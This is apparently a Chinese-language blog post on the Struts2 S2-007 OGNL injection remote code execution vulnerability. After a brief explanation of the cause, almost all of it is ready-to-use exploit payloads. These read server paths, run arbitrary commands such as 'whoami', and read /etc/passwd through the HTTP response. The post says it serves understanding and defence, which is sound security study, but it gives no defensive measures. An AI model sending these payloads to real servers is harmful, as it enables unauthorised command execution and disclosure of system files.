S2-007 远程代码执行漏洞检测与利用

最新推荐文章于 2024-05-29 15:28:18 发布

原创最新推荐文章于 2024-05-29 15:28:18 发布 · 1.4k 阅读

0 ·

CC 4.0 BY-SA版权

【框架漏洞】同时被 2 个专栏收录

42 篇文章

订阅专栏

Struct 2

16 篇文章

订阅专栏

本文详细解析了Struts2框架中由于OGNL表达式不当处理导致的注入漏洞，通过实例展示了如何利用该漏洞获取服务器路径、执行任意命令等攻击方式，对理解Struts2安全性和防御措施具有重要意义。

漏洞原理

如下age来自于用户输入，传递一个非整数给id导致错误，struts会将用户的输入当作ongl表达式执行，从而导致了漏洞。

POC

a.获取tomcat执行路径：

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

b、获取web路径

%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

c、执行任意命令:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

执行任意命令时，如果所执行的命令需要组合，则将上述 payload 改为：

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}